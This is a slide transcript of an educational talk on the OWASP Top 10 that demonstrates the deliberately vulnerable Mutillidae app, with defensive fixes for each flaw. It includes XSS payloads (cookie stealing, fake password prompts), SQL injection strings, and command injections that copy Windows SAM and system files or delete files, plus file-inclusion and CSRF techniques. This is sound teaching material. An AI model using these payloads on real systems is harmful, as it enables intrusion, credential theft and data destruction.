Adrian Crenshaw.  I run Irongeek.com  I have an interest in InfoSec education  I don’t know everything - I’m.

Slides:



Advertisements
Similar presentations
Nick Feamster CS 6262 Spring 2009
Advertisements

Don’t get Stung (An introduction to the OWASP Top Ten Project) Barry Dorrans Microsoft Information Security Tools NEW AND IMPROVED!
SEC835 OWASP Top Ten Project.
Creating Stronger, Safer, Web Facing Code JPL IT Security Mary Rivera June 17, 2011.
©2009 Justin C. Klein Keane PHP Code Auditing Session 5 XSS & XSRF Justin C. Klein Keane
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation.
WebGoat & WebScarab “What is computer security for $1000 Alex?”
By Brian Vees.  SQL Injection  Username Enumeration  Cross Site Scripting (XSS)  Remote Code Execution  String Formatting Vulnerabilities.
It’s always better live. MSDN Events Security Best Practices Part 2 of 2 Reducing Vulnerabilities using Visual Studio 2008.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
Information Networking Security and Assurance Lab National Chung Cheng University The Ten Most Critical Web Application Security Vulnerabilities Ryan J.W.
It’s always better live. MSDN Events Securing Web Applications Part 1 of 2 Understanding Threats and Attacks.
Information Networking Security and Assurance Lab National Chung Cheng University 1 Top Vulnerabilities in Web Applications (I) Unvalidated Input:  Information.
Injection Attacks by Example SQL Injection and XSS Adam Forsythe Thomas Hollingsworth.
1 SQL injection: attacks and defenses Dan Boneh CS 142 Winter 2009.
The 10 Most Critical Web Application Security Vulnerabilities
WEB SECURITY WORKSHOP TEXSAW 2013 Presented by Joshua Hammond Prepared by Scott Hand.
Web Application Security
Introduction to InfoSec – Recitation 10 Nir Krakowski (nirkrako at post.tau.ac.il) Itamar Gilad (itamargi at post.tau.ac.il)
OWASP Mobile Top 10 Why They Matter and What We Can Do
Introduction to Application Penetration Testing
Web Security Overview Lohika ASC team 2009
OWASP Zed Attack Proxy Project Lead
Cosc 4765 Server side Web security. Web security issues From Cenzic Vulnerability report
Cross-Site Scripting Vulnerabilities Adam Doupé 11/24/2014.
Prevent Cross-Site Scripting (XSS) attack
Lets Make our Web Applications Secure. Dipankar Sinha Project Manager Infrastructure and Hosting.
+ Websites Vulnerabilities. + Content Expand of The Internet Use of the Internet Examples Importance of the Internet How to find Security Vulnerabilities.
WEB SECURITY WEEK 3 Computer Security Group University of Texas at Dallas.
Adrian Crenshaw.  I run Irongeek.com  I have an interest in InfoSec education  I don’t know everything - I’m.
The OWASP Way Understanding the OWASP Vision and the Top Ten.
CSCI 6962: Server-side Design and Programming Secure Web Programming.
Lecture 14 – Web Security SFDV3011 – Advanced Web Development 1.
Ladd Van Tol Senior Software Engineer Security on the Web Part One - Vulnerabilities.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
© All rights reserved. Zend Technologies, Inc. PHP Security Kevin Schroeder Zend Technologies.
November 13, 2008 Ohio Information Security Forum Attack Surface of Web Applications James Walden Northern Kentucky University
Copyright 2007 © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Copyright 2007 © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Security Scanners Mark Shtern. Popular attack targets Web – Web platform – Web application Windows OS Mac OS Linux OS Smartphone.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
SEC835 Runtime authentication Secure session management Secure use of cryptomaterials.
CIT 380: Securing Computer SystemsSlide #1 CIT 380: Securing Computer Systems Web Security.
October 3, 2008IMI Security Symposium Application Security through a Hacker’s Eyes James Walden Northern Kentucky University
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Web Applications Testing By Jamie Rougvie Supported by.
Building Secure Web Applications With ASP.Net MVC.
By Sean Rose and Erik Hazzard.  SQL Injection is a technique that exploits security weaknesses of the database layer of an application in order to gain.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation.
CS526Topic 12: Web Security (2)1 Information Security CS 526 Topic 9 Web Security Part 2.
Web Security Lesson Summary ●Overview of Web and security vulnerabilities ●Cross Site Scripting ●Cross Site Request Forgery ●SQL Injection.
Database Security Cmpe 226 Fall 2015 By Akanksha Jain Jerry Mengyuan Zheng.
Copyright © The OWASP Foundation This work is available under the Creative Commons SA 2.5 license The OWASP Foundation OWASP Denver February 2012.
Intro to Web Application Security. iHostCodex Web Services - CEO Project-AG – CoFounder OWASP Panay -Chapter Leader -Web Application Pentester -Ethical.
Session 11: Cookies, Sessions ans Security iNET Academy Open Source Web Development.
The OWASP Foundation Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under.
Do not try any of the techniques discussed in this presentation on a system you do not own. It is illegal and you will get caught.
Page 1 Ethical Hacking by Douglas Williams. Page 2 Intro Attackers can potentially use many different paths through your application to do harm to your.
SlideSet #20: Input Validation and Cross-site Scripting Attacks (XSS) SY306 Web and Databases for Cyber Operations.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Building Secure ColdFusion Applications
Web Application Vulnerabilities
Web Application Vulnerabilities, Detection Mechanisms, and Defenses
TOPIC: Web Security (Part-4)
امنیت نرم‌افزارهای وب تقديم به پيشگاه مقدس امام عصر (عج) عباس نادری
WWW安全 國立暨南國際大學 資訊管理學系 陳彥錚.
Presentation transcript:

Adrian Crenshaw

 I run Irongeek.com  I have an interest in InfoSec education  I don’t know everything - I’m just a geek with time on my hands  I’m also not a professional web developer, creating crappy code was easy or me.  So why listen to me? Sometimes it takes a noob to teach a noob.

 OWASP Top 10 (As a side note, I’ve copied quite of few of their descriptions and fixes into this presentation)  Mutillidae deliberately-vulnerable-php-owasp-top-10 deliberately-vulnerable-php-owasp-top-10  Ok, but what are those?

The 2007 list includes:  A1 - Cross Site Scripting (XSS)  A2 - Injection Flaws  A3 - Malicious File Execution  A4 - Insecure Direct Object Reference  A5 - Cross Site Request Forgery (CSRF)  A6 - Information Leakage and Improper Error Handling  A7 - Broken Authentication and Session Management  A8 - Insecure Cryptographic Storage  A9 - Insecure Communications  A10 - Failure to Restrict URL Access The OWASP Top Ten represents a broad consensus about what the most critical web application security flaws are.

 A teaching tool for illustrating the OWASP 10  Written in PHP/MySQL  Meant to be simpler than WebGoat  Simple to exploit, just to get the concept across  Easy to reset  Includes a “Tips” function to help the student

1. Download Mutillidae deliberately-vulnerable-php-owasp-top-10 deliberately-vulnerable-php-owasp-top Grab XAMPP Lite and install it Put the Mutillidae files in \htdocs 4. May want to edit xampplite\apache\conf\httpd.conf and set “Listen :80 “

XSS flaws occur whenever an application takes user supplied data and sends it to a web browser without first validating or encoding that content. XSS allows attackers to execute script in the victim's browser which can hijack user sessions, deface web sites, possibly introduce worms, etc.

 Simple: alert("XSS");  Page Redirect: window.location = "  Cookie Stealing: new Image().src=" eURI(document.cookie);

 Simple: alert("XSS");  Page Redirect: window.location = "  Cookie Stealing: new Image().src="  Password Con: username=prompt('Please enter your username',' '); password=prompt('Please enter your password',' '); document.write(" ");

 External Javascript:  Hot BeEF Injection:  How about the User Agent string?

 Mangle XSS to bypass filters:  BeEF browser exploitation framework  XSS Me Firefox plugin  Exotic Injection Vectors command-inject-vectors command-inject-vectors

 Input validation.  Strong output encoding. htmlspecialchars()  Specify the output encoding.  Do not use "blacklist" validation to detect XSS in input or to encode output.  Watch out for canonicalization errors.

Injection flaws, particularly SQL injection, are common in web applications. Injection occurs when user-supplied data is sent to an interpreter as part of a command or query. The attacker's hostile data tricks the interpreter into executing unintended commands or changing data.

The Code: “SELECT * FROM accounts WHERE username='". $username."' AND password='".stripslashes($password).”’” or echo shell_exec("nslookup ". $targethost);'“ Expected to fill in the string to: SELECT * FROM accounts WHERE username=‘adrian' AND password=‘somepassword’ or Nslookup irongeek.com But what if the person injected: SELECT * FROM accounts WHERE username=‘adrian' AND password=‘somepassword’ or 1=1 -- ’ or Nslookup irongeek.com && del *.*

 Simple SQL Injection: ' or 1=1 --  Wish I could do this, but can't stack in MySQL/PHP '; DROP TABLE owasp10; --  Command Injections: && dir && wmic process list && wmic useraccount list && copy c:\WINDOWS\repair\sam && copy c:\WINDOWS\repair\system.bak  (use ; as a separator if you are running this on Linux)

 SQL Injection Cheat Sheet  SQL Injection Attacks by Example  Command line Kung Fu

 Input validation.  Use strongly typed parameterized query APIs (bound parameters).  Enforce least privilege.  Avoid detailed error messages.  Show care when using stored procedures.  Do not use dynamic query interfaces.  Do not use simple escaping functions.  Watch out for canonicalization errors.

Code vulnerable to remote file inclusion (RFI) allows attackers to include hostile code and data, resulting in devastating attacks, such as total server compromise. Malicious file execution attacks affect PHP, XML and any framework which accepts filenames or files from users.

 Grabbing a local file: viewer.php&php_file_name=config.inc viewer.php&php_file_name=config.inc  Tamper Data, POST data and an inadvertent proxy

 Tamper Data Firefox Plugin  Paros  WebScarab _WebScarab_Project _WebScarab_Project

 Strongly validate user input using "accept known good" as a strategy  Add firewall rules to prevent web servers making new connections to external web sites and internal systems.  Consider implementing a chroot jail or other sand box mechanisms.  # PHP: Disable allow_url_fopen and allow_url_include in php.ini and consider.building PHP locally to not include this functionality.  # PHP: Disable register_globals and use E_STRICT to find uninitialized variables.  # PHP: Ensure that all file and streams functions (stream_*) are carefully vetted.

A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter. Attackers can manipulate those references to access other objects without authorization.

 You already saw it with the malicious file include demo.

 Avoid exposing your private object references to users whenever possible, such as primary keys or filenames.  Validate any private object references extensively with an "accept known good" approach.  Verify authorization to all referenced objects.

A CSRF attack forces a logged-on victim's browser to send a pre-authenticated request to a vulnerable web application, which then forces the victim's browser to perform a hostile action to the benefit of the attacker. CSRF can be as powerful as the web application that it attacks.

Target Web App Client Website the attacker controls 1 1.Session established with web app via a cookie. (already logged in) 2.At some later point, content that the attacker controls is requested. 3.Attacker serves up content that asks client’s browser to make a request. 4.Client makes request, and since it already has a session cookie the request is honored

 Let visit a page with this lovely link:  Don’t want to use a bad image? Try an Iframe:  Can’t use the GET method? Try something like: document.csrfform.submit()

 CSRF Flaws Found On Major Websites, Including a Bank  CSRF Home Router Fun adsl-gateway-with-speedbooster-wag54gs/ adsl-gateway-with-speedbooster-wag54gs/  CSRF in Gmail

 For sensitive data or value transactions, re-authenticate or use transaction signing to ensure that the request is genuine.  Do not use GET requests (URLs) for sensitive data or to perform value transactions. (see next point)  POST alone is insufficient protection.  Consider adding Captchas and extra sessions values as hidden form elements.

Applications can unintentionally leak information about their configuration, internal workings, or violate privacy through a variety of application problems. Attackers use this weakness to steal sensitive data, or conduct more serious attacks.

Account credentials and session tokens are often not properly protected. Attackers compromise passwords, keys, or authentication tokens to assume other users' identities.

Web applications rarely use cryptographic functions properly to protect data and credentials. Attackers use weakly protected data to conduct identity theft and other crimes, such as credit card fraud.

Applications frequently fail to encrypt network traffic when it is necessary to protect sensitive communications.

Frequently, an application only protects sensitive functionality by preventing the display of links or URLs to unauthorized users. Attackers can use this weakness to access and perform unauthorized operations by accessing those URLs directly.

 Deliberately Insecure Web Applications For Learning Web App Security berately-insecure-web-applications-for-learning- web-app-security berately-insecure-web-applications-for-learning- web-app-security

 SamuraiWTF  OWASP Live CD  BackTrack

 Free ISSA classes  ISSA Meeting  Louisville Infosec  Phreaknic/Notacon/Outerz0ne

42